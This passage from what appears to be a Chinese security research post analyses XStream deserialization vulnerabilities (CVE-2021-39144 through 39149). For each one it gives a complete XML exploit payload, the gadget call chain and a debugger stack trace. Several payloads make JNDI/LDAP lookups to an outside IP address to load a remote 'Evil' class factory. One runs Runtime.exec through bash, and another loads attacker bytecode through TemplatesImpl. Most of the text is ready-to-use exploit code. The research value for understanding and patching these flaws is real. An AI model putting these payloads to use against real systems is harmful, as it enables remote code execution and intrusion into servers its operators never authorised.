<class>java.lang.Object</class> </parameter-types> </method> <com.sun.xml.internal.ws.client.sei.SyncMethodHandler> <owner reference="../../../.."/> <method reference="../../../../databinding/stubHandlers/entry/method"/> <isVoid>false</isVoid> <isOneway>false</isOneway> </com.sun.xml.internal.ws.client.sei.SyncMethodHandler> </entry> </methodHandlers> </handler> </dynamic-proxy> <string>ldap://101.132.159.30:1389/Evil</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
1 2 3 4 5 6 7 8 9 10
| java.util.PriorityQueue#readObject() -> 没设置comparator的 com.sun.proxy$Proxy0#compareTo() com.sun.xml.internal.ws.client.sei.SEIStub#invoke() -> method不可控,继续找其他的 com.sun.xml.internal.ws.client.sei.SyncMethodHandler#invoke() com.sun.xml.internal.ws.db.DatabindingImpl#serializeRequest() com.sun.xml.internal.ws.client.sei.StubHandler#createRequestPacket com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit#createMessage() com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit#build() com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor$2#set() -> PropertyAccessor com.sun.xml.internal.ws.spi.db.MethodSetter#set() -> this.method.invoke(instance, args);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| run:73, MethodSetter$1 (com.sun.xml.internal.ws.spi.db) doPrivileged:-1, AccessController (java.security) set:67, MethodSetter (com.sun.xml.internal.ws.spi.db) set:260, JAXBWrapperAccessor$2 (com.sun.xml.internal.ws.spi.db) build:249, BodyBuilder$DocLit (com.sun.xml.internal.ws.client.sei) createMessage:88, BodyBuilder$JAXB (com.sun.xml.internal.ws.client.sei) createRequestPacket:217, StubHandler (com.sun.xml.internal.ws.client.sei) serializeRequest:204, DatabindingImpl (com.sun.xml.internal.ws.db) serializeRequest:69, DatabindingImpl (com.sun.xml.internal.ws.db) invoke:91, SyncMethodHandler (com.sun.xml.internal.ws.client.sei) invoke:77, SyncMethodHandler (com.sun.xml.internal.ws.client.sei) invoke:147, SEIStub (com.sun.xml.internal.ws.client.sei) compareTo:-1, $Proxy0 (com.sun.proxy) siftDownComparable:703, PriorityQueue (java.util) siftDown:689, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util)
|
特征:
Source:PriorityQueue不带comparator
dynamic-proxy,触发proxy.compareTo
- 代理接口:java.lang.Comparable或其他具有compareTo方法的接口
- Handler: com.sun.xml.internal.ws.client.sei.SEIStub
com.sun.xml.internal.ws.client.sei.SyncMethodHandler#invoke
用于跳板,解决SEIStub#invoke的参数不可控问题,其中JavaCallInfo call
可封装method及参数,会一直传递参数到Sink点
在com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit#build
处,传递到Sink的bean -> instance是不可控的
- Sink:
com.sun.xml.internal.ws.spi.db.MethodSetter#set
-> this.method.invoke(instance, args)
this.method
、args可控,但instance
不可控
- 可调用任意static带参
- 触发点:
- InitialContext#doLookup -> Jndi注入
- jdk.nashorn.internal.runtime.Source#readFully -> SSRF
CVE-2021-39144
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="sun.tracing.NullProvider"> <active>true</active> <providerType>java.lang.Comparable</providerType> <probes> <entry> <method> <class>java.lang.Comparable</class> <name>compareTo</name> <parameter-types> <class>java.lang.Object</class> </parameter-types> </method> <sun.tracing.dtrace.DTraceProbe> <proxy class="java.lang.Runtime"/> <implementing__method> <class>java.lang.Runtime</class> <name>exec</name> <parameter-types> <class>[Ljava.lang.String;</class> </parameter-types> </implementing__method> </sun.tracing.dtrace.DTraceProbe> </entry> </probes> </handler> </dynamic-proxy> <string-array> <string>/bin/bash</string> <string>-c</string> <string>open /System/Applications/Calculator.app</string> </string-array> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
1 2 3 4 5
| java.util.PriorityQueue#readObject() -> 没设置comparator的 com.sun.proxy$Proxy0#compareTo() sun.tracing.ProviderSkeleton#invoke() sun.tracing.ProviderSkeleton#triggerProbe sun.tracing.dtrace.DTraceProbe#uncheckedTrigger() -> this.implementing_method.invoke(this.proxy, var1)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace) -> this.implementing_method.invoke(this.proxy, var1) triggerProbe:269, ProviderSkeleton (sun.tracing) invoke:178, ProviderSkeleton (sun.tracing) compareTo:-1, $Proxy0 (com.sun.proxy) siftDownComparable:703, PriorityQueue (java.util) siftDown:689, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util) doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
|
特征:
- Source:PriorityQueue不带comparator
- dynamic-proxy,触发proxy.compareTo
- 代理接口:java.lang.Comparable或其他具有compareTo方法的接口
- Handler: sun.tracing.ProviderSkeleton
- Sink:
sun.tracing.dtrace.DTraceProbe#uncheckedTrigger()
-> this.implementing_method.invoke(this.proxy, var1)
- method可控:成员变量
- var1可控:PQ的元素,从compareTo()方法传下来
- this.proxy可控
- 可调用任意类任意方法
- 触发点:
- ProcessBuider#start
- TemplatesImpl#getOutputProperties
CVE-2021-39145 & 39147
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>xxx</type> <value class="com.sun.org.apache.xpath.internal.objects.XString"/> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>xxx</type> <value class="com.sun.xml.internal.ws.api.message.Packet"> <message class="com.sun.xml.internal.ws.api.message.MessageWrapper"> <delegate class="com.sun.xml.internal.ws.message.saaj.SAAJMessage"> <parsedMessage>true</parsedMessage> <accessedMessage>false</accessedMessage> <sm class="com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl"> <attachments serialization="custom"> <unserializable-parents/> <list> <default> <size>0</size> </default> <int>0</int> </list> </attachments> <saved>false</saved> <messageByteCount>0</messageByteCount> <multiPart class="com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart"> <parsed>false</parsed> <mm> <it class="com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator"> <aliases class="com.sun.jndi.ldap.LdapBindingEnumeration"> <cleaned>false</cleaned> <entries> <com.sun.jndi.ldap.LdapEntry> <DN>any</DN> <attributes class="javax.naming.directory.BasicAttributes" serialization="custom"> <javax.naming.directory.BasicAttributes> <default> <ignoreCase>false</ignoreCase> </default> <int>4</int> <javax.naming.directory.BasicAttribute serialization="custom"> <javax.naming.directory.BasicAttribute> <default> <ordered>false</ordered> <attrID>objectClass</attrID> </default> <int>1</int> <string>javanamingreference</string> </javax.naming.directory.BasicAttribute> </javax.naming.directory.BasicAttribute> <javax.naming.directory.BasicAttribute serialization="custom"> <javax.naming.directory.BasicAttribute> <default> <ordered>false</ordered> <attrID>javaCodeBase</attrID> </default> <int>1</int> <string>http://101.132.159.30:7777/</string> </javax.naming.directory.BasicAttribute> </javax.naming.directory.BasicAttribute> <javax.naming.directory.BasicAttribute serialization="custom"> <javax.naming.directory.BasicAttribute> <default> <ordered>false</ordered> <attrID>javaClassName</attrID> </default> <int>1</int> <string>any</string> </javax.naming.directory.BasicAttribute> </javax.naming.directory.BasicAttribute> <javax.naming.directory.BasicAttribute serialization="custom"> <javax.naming.directory.BasicAttribute> <default> <ordered>false</ordered> <attrID>javaFactory</attrID> </default> <int>1</int> <string>Evil</string> </javax.naming.directory.BasicAttribute> </javax.naming.directory.BasicAttribute> </javax.naming.directory.BasicAttributes> </attributes> </com.sun.jndi.ldap.LdapEntry> </entries> <limit>1</limit> <posn>0</posn> <homeCtx> <__contextType>0</__contextType> <port__number>0</port__number> <handleReferrals>0</handleReferrals> <hasLdapsScheme>false</hasLdapsScheme> <netscapeSchemaBug>false</netscapeSchemaBug> <referralHopLimit>0</referralHopLimit> <batchSize>0</batchSize> <deleteRDN>false</deleteRDN> <typesOnly>false</typesOnly> <derefAliases>0</derefAliases> <addrEncodingSeparator></addrEncodingSeparator> <connectTimeout>0</connectTimeout> <readTimeout>0</readTimeout> <waitForReply>false</waitForReply> <replyQueueSize>0</replyQueueSize> <useSsl>false</useSsl> <useDefaultPortNumber>false</useDefaultPortNumber> <parentIsLdapCtx>false</parentIsLdapCtx> <hopCount>0</hopCount> <unsolicited>false</unsolicited> <sharable>false</sharable> <enumCount>0</enumCount> <closeRequested>false</closeRequested> </homeCtx> <more>true</more> <hasMoreCalled>true</hasMoreCalled> </aliases> </it> <parsed>false</parsed> <currentIndex>0</currentIndex> </mm> <soapPart> <parsed>false</parsed> </soapPart> </multiPart> <attachmentsInitialized>false</attachmentsInitialized> <isFastInfoset>false</isFastInfoset> <acceptFastInfoset>false</acceptFastInfoset> <optimizeAttachmentProcessing>false</optimizeAttachmentProcessing> <lazyAttachments>false</lazyAttachments> </sm> <bodyParts/> <soapVersion>SOAP_11</soapVersion> </delegate> </message> <wasTransportSecure>false</wasTransportSecure> <isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse> <packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext> <isFastInfosetDisabled>false</isFastInfosetDisabled> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| java.util.PriorityQueue#readObject() -> 没设置comparator的 javax.naming.ldap.Rdn$RdnEntry#compareTo() com.sun.org.apache.xpath.internal.objects.XString#equals() com.sun.xml.internal.ws.api.message.Packet#toString() com.sun.xml.internal.ws.api.message.MessageWrapper#copy() com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy() com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#SAAJAttachmentSet com.sun.xml.internal.messaging.saaj.soap.MessageImpl#getAttachments() com.sun.xml.internal.messaging.saaj.soap.MessageImpl#initializeAllAttachments com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimeMultipart#getCount() com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments() com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress KeyStoreIterator#hasNext() KeyStoreIterator#findNextCert com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextElement() com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextImpl com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextAux com.sun.jndi.ldap.LdapBindingEnumeration#createItem() javax.naming.spi.DirectoryManager#getObjectInstance() -> Evil.getObjectInstance()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| getObjectInstance:189, DirectoryManager (javax.naming.spi) createItem:81, LdapBindingEnumeration (com.sun.jndi.ldap) createItem:40, LdapBindingEnumeration (com.sun.jndi.ldap) nextAux:269, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) nextImpl:249, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) next:203, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) nextElement:106, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) nextElement:40, AbstractLdapNamingEnumeration (com.sun.jndi.ldap) findNextCert:137, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations) hasNext:104, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations) makeProgress:180, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) parseAll:167, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) getAttachments:92, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) parseAll:107, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) parse:118, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) getCount:195, MimeMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) initializeAllAttachments:1379, MessageImpl (com.sun.xml.internal.messaging.saaj.soap) getAttachments:819, MessageImpl (com.sun.xml.internal.messaging.saaj.soap) <init>:650, SAAJMessage$SAAJAttachmentSet (com.sun.xml.internal.ws.message.saaj) getAttachments:178, SAAJMessage (com.sun.xml.internal.ws.message.saaj) copy:506, SAAJMessage (com.sun.xml.internal.ws.message.saaj) copy:217, MessageWrapper (com.sun.xml.internal.ws.api.message) toString:1093, Packet (com.sun.xml.internal.ws.api.message) equals:392, XString (com.sun.org.apache.xpath.internal.objects) compareTo:441, Rdn$RdnEntry (javax.naming.ldap) compareTo:420, Rdn$RdnEntry (javax.naming.ldap) siftDownComparable:703, PriorityQueue (java.util) siftDown:689, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util)
|
特征:
- Source:PriorityQueue不带comparator
- toString链:
- 先调用
javax.naming.ldap.Rdn$RdnEntry#compareTo(XString)
- 再调用
com.sun.org.apache.xpath.internal.objects.XString#equals()
,其中可调用任意类toString()方法
com.sun.xml.internal.ws.api.message.Packet#toString()
- nextElement链:
- 开始:com.sun.xml.internal.ws.api.message.Packet#toString()
- 结尾:KeyStoreIterator#findNextCert(),之后即可链接2020系列jndi注入的AbstractLdapNamingEnumeration#nextElement部分
- Sink:
com.sun.jndi.ldap.LdapBindingEnumeration#createItem()
- 这个Sink点和
LdapCtx#c_lookup
很像
- javax.naming.spi.DirectoryManager#getObjectInstance() -> Jndi注入
CVE-2021-39146 & 39154
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>xxx</type> <value class="com.sun.org.apache.xpath.internal.objects.XString"/> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>xxx</type> <value class="javax.swing.MultiUIDefaults" serialization="custom"> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>0</int> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale>zh_CN</defaultLocale> <resourceCache/> </default> </javax.swing.UIDefaults> <javax.swing.MultiUIDefaults> <default> <tables> <javax.swing.UIDefaults serialization="custom"> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>1</int> <string>diggid</string> <javax.swing.UIDefaults_-ProxyLazyValue> <className>javax.naming.InitialContext</className> <methodName>doLookup</methodName> <args> <string>ldap://101.132.159.30:1389/Evil</string> </args> </javax.swing.UIDefaults_-ProxyLazyValue> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale reference="../../../../../../../javax.swing.UIDefaults/default/defaultLocale"/> <resourceCache/> </default> </javax.swing.UIDefaults> </javax.swing.UIDefaults> </tables> </default> </javax.swing.MultiUIDefaults> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
1 2 3 4 5 6 7 8 9
| java.util.PriorityQueue#readObject() -> 没设置comparator的 javax.naming.ldap.Rdn$RdnEntry#compareTo() com.sun.org.apache.xpath.internal.objects.XString#equals() javax.swing.MultiUIDefaults#toString() javax.swing.MultiUIDefaults#get javax.swing.UIDefaults#get() javax.swing.UIDefaults#getFromHashtable javax.swing.UIDefaults.ProxyLazyValue#createValue() -> MethodUtil.invoke(Method, Class, args);只能调用static public
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| doLookup:290, InitialContext (javax.naming) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:71, Trampoline (sun.reflect.misc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:275, MethodUtil (sun.reflect.misc) run:1107, UIDefaults$ProxyLazyValue$1 (javax.swing) doPrivileged:-1, AccessController (java.security) createValue:1086, UIDefaults$ProxyLazyValue (javax.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) get:64, MultiUIDefaults (javax.swing) toString:197, MultiUIDefaults (javax.swing) equals:392, XString (com.sun.org.apache.xpath.internal.objects) compareTo:441, Rdn$RdnEntry (javax.naming.ldap) compareTo:420, Rdn$RdnEntry (javax.naming.ldap) siftDownComparable:703, PriorityQueue (java.util) siftDown:689, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util)
|
特征:
Source:PriorityQueue不带comparator。PQ也可以换成TreeMap。但PQ看起来比较整洁
toString链:
- 先调用
javax.naming.ldap.Rdn$RdnEntry#compareTo(XString)
- 再调用
com.sun.org.apache.xpath.internal.objects.XString#equals()
,其中可调用任意类toString()方法
javax.swing.MultiUIDefaults#toString()
Sink:javax.swing.UIDefaults.ProxyLazyValue#createValue()
-> MethodUtil.invoke(Method, Class, args);
- method:可控,但没有setAccessible
- Class:可控,但注意这里是Class类而不是Object,所以只能调用static
- args可控
- 可调用任意public static,和前面39141一样
CVE-2021-39148
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>xxx</type> <value class="com.sun.org.apache.xpath.internal.objects.XString"/> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>xxx</type> <value class="com.sun.xml.internal.ws.api.message.Packet"> <message class="com.sun.xml.internal.ws.api.message.MessageWrapper"> <delegate class="com.sun.xml.internal.ws.message.saaj.SAAJMessage"> <parsedMessage>true</parsedMessage> <accessedMessage>false</accessedMessage> <sm class="com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl"> <attachments serialization="custom"> <unserializable-parents/> <list> <default> <size>0</size> </default> <int>0</int> </list> </attachments> <saved>false</saved> <messageByteCount>0</messageByteCount> <multiPart class="com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart"> <parsed>false</parsed> <mm> <it class="com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator"> <aliases class="com.sun.jndi.toolkit.dir.ContextEnumerator"> <children class="javax.naming.directory.BasicAttribute$ValuesEnumImpl"> <list class="com.sun.xml.internal.dtdparser.SimpleHashtable"> <current> <hash>0</hash> <key class="javax.naming.Binding"> <isRel>false</isRel> <boundObj class="com.sun.jndi.ldap.LdapReferralContext"> <refCtx class="javax.naming.spi.ContinuationDirContext"> <cpe> <resolvedObj class="javax.naming.Reference"> <className>any</className> <addrs/> <classFactory>Evil</classFactory> <classFactoryLocation>http://101.132.159.30:7777/</classFactoryLocation> </resolvedObj> </cpe> </refCtx> <skipThisReferral>false</skipThisReferral> <hopCount>0</hopCount> </boundObj> </key> </current> <currentBucket>0</currentBucket> <count>0</count> <threshold>0</threshold> </list> </children> <currentReturned>true</currentReturned> <currentChildEnum> <currentReturned>false</currentReturned> <currentChildExpanded>false</currentChildExpanded> <rootProcessed>false</rootProcessed> <scope>0</scope> </currentChildEnum> <currentChildExpanded>false</currentChildExpanded> <rootProcessed>true</rootProcessed> <scope>2</scope> </aliases> </it> <parsed>false</parsed> <currentIndex>0</currentIndex> </mm> <soapPart> <parsed>false</parsed> </soapPart> </multiPart> <attachmentsInitialized>false</attachmentsInitialized> <isFastInfoset>false</isFastInfoset> <acceptFastInfoset>false</acceptFastInfoset> <optimizeAttachmentProcessing>false</optimizeAttachmentProcessing> <lazyAttachments>false</lazyAttachments> </sm> <bodyParts/> <soapVersion>SOAP_11</soapVersion> </delegate> </message> <wasTransportSecure>false</wasTransportSecure> <isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse> <packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext> <isFastInfosetDisabled>false</isFastInfosetDisabled> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
分析
Source部分触发toString链子统一换成了PriorityQueue,因为PQ比TreeMap(TreeSet)在生成链子时好写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| java.util.PriorityQueue#readObject() -> 没设置comparator的 javax.naming.ldap.Rdn$RdnEntry#compareTo() com.sun.org.apache.xpath.internal.objects.XString#equals() com.sun.xml.internal.ws.api.message.Packet#toString() com.sun.xml.internal.ws.api.message.MessageWrapper#copy() com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy() com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#SAAJAttachmentSet com.sun.xml.internal.messaging.saaj.soap.MessageImpl#getAttachments() com.sun.xml.internal.messaging.saaj.soap.MessageImpl#initializeAllAttachments com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimeMultipart#getCount() com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments() com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress KeyStoreIterator#hasNext() KeyStoreIterator#findNextCert com.sun.jndi.toolkit.dir.ContextEnumerator#nextElement() com.sun.jndi.toolkit.dir.ContextEnumerator#next com.sun.jndi.toolkit.dir.ContextEnumerator#getNextDescendant com.sun.jndi.toolkit.dir.ContextEnumerator#prepNextChild com.sun.jndi.toolkit.dir.ContextEnumerator#newEnumerator com.sun.jndi.toolkit.dir.ContextEnumerator -> new ContextEnumerator() com.sun.jndi.toolkit.dir.ContextEnumerator#getImmediateChildren com.sun.jndi.ldap.LdapReferralContext#listBindings() javax.naming.spi.ContinuationDirContext#listBindings() javax.naming.spi.ContinuationDirContext#getTargetContext javax.naming.spi.NamingManager#getContext() javax.naming.spi.NamingManager#getObjectInstance -> Jndi注入的部分
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| getObjectInstance:319, NamingManager (javax.naming.spi) getContext:439, NamingManager (javax.naming.spi) getTargetContext:55, ContinuationContext (javax.naming.spi) listBindings:125, ContinuationContext (javax.naming.spi) listBindings:356, LdapReferralContext (com.sun.jndi.ldap) listBindings:333, LdapReferralContext (com.sun.jndi.ldap) getImmediateChildren:82, ContextEnumerator (com.sun.jndi.toolkit.dir) <init>:70, ContextEnumerator (com.sun.jndi.toolkit.dir) newEnumerator:88, ContextEnumerator (com.sun.jndi.toolkit.dir) prepNextChild:223, ContextEnumerator (com.sun.jndi.toolkit.dir) getNextDescendant:202, ContextEnumerator (com.sun.jndi.toolkit.dir) next:120, ContextEnumerator (com.sun.jndi.toolkit.dir) nextElement:106, ContextEnumerator (com.sun.jndi.toolkit.dir) nextElement:36, ContextEnumerator (com.sun.jndi.toolkit.dir) findNextCert:137, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations) hasNext:104, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations) makeProgress:180, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) parseAll:167, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) getAttachments:92, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull) parseAll:107, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) parse:118, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) getCount:195, MimeMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet) initializeAllAttachments:1379, MessageImpl (com.sun.xml.internal.messaging.saaj.soap) getAttachments:819, MessageImpl (com.sun.xml.internal.messaging.saaj.soap) <init>:650, SAAJMessage$SAAJAttachmentSet (com.sun.xml.internal.ws.message.saaj) getAttachments:178, SAAJMessage (com.sun.xml.internal.ws.message.saaj) copy:506, SAAJMessage (com.sun.xml.internal.ws.message.saaj) copy:217, MessageWrapper (com.sun.xml.internal.ws.api.message) toString:1093, Packet (com.sun.xml.internal.ws.api.message) equals:392, XString (com.sun.org.apache.xpath.internal.objects) compareTo:441, Rdn$RdnEntry (javax.naming.ldap) compareTo:420, Rdn$RdnEntry (javax.naming.ldap) siftDownComparable:703, PriorityQueue (java.util) siftDown:689, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util)
|
特征:
和上一个前面都一样,Sink点换了
- Source:PriorityQueue不带comparator。PQ也可以换成TreeMap。但PQ看起来比较整洁
- toString链:
- 先调用
javax.naming.ldap.Rdn$RdnEntry#compareTo(XString)
- 再调用
com.sun.org.apache.xpath.internal.objects.XString#equals()
,其中可调用任意类toString()方法
javax.swing.MultiUIDefaults#toString()
- nextElement链:
- 开始:com.sun.xml.internal.ws.api.message.Packet#toString()
- 结尾:KeyStoreIterator#findNextCert(),之后即可链接2020系列jndi注入的AbstractLdapNamingEnumeration#nextElement部分
com.sun.jndi.toolkit.dir.ContextEnumerator#nextElement()
- Sink:
javax.naming.spi.ContinuationDirContext#getTargetContext
-> NamingManager#getContext()
- 直接调用
NamingManager#getObjectInstance
来触发Jndi注入,getContext的第一个参数就是Reference类,如下
CVE-2021-39149
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <map> <entry> <dynamic-proxy> <interface>map</interface> <handler class="com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"> <classToInvocationHandler class="linked-hash-map"/> <defaultHandler class="sun.tracing.NullProvider"> <active>true</active> <providerType>java.lang.Object</providerType> <probes> <entry> <method> <class>java.lang.Object</class> <name>hashCode</name> <parameter-types/> </method> <sun.tracing.dtrace.DTraceProbe> <proxy class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>diggid</__name> <__bytecodes> <byte-array>xxx</byte-array> </__bytecodes> <__transletIndex>0</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </proxy> <implementing__method> <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class> <name>getOutputProperties</name> <parameter-types/> </implementing__method> </sun.tracing.dtrace.DTraceProbe> </entry> </probes> </defaultHandler> </handler> </dynamic-proxy> <string>foo</string> </entry> </map>
|
分析
1 2 3 4 5 6 7 8
| MapConverter#putCurrentEntryIntoMap() HashMap#put HashMap#hash com.sun.proxy$Proxy0#hashCode() com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl#invoke() sun.tracing.ProviderSkeleton#invoke() sun.tracing.ProviderSkeleton#triggerProbe sun.tracing.dtrace.DTraceProbe#uncheckedTrigger() -> TemplatesImpl.getOutputProperties
|
1 2 3 4 5 6 7 8 9 10 11 12 13
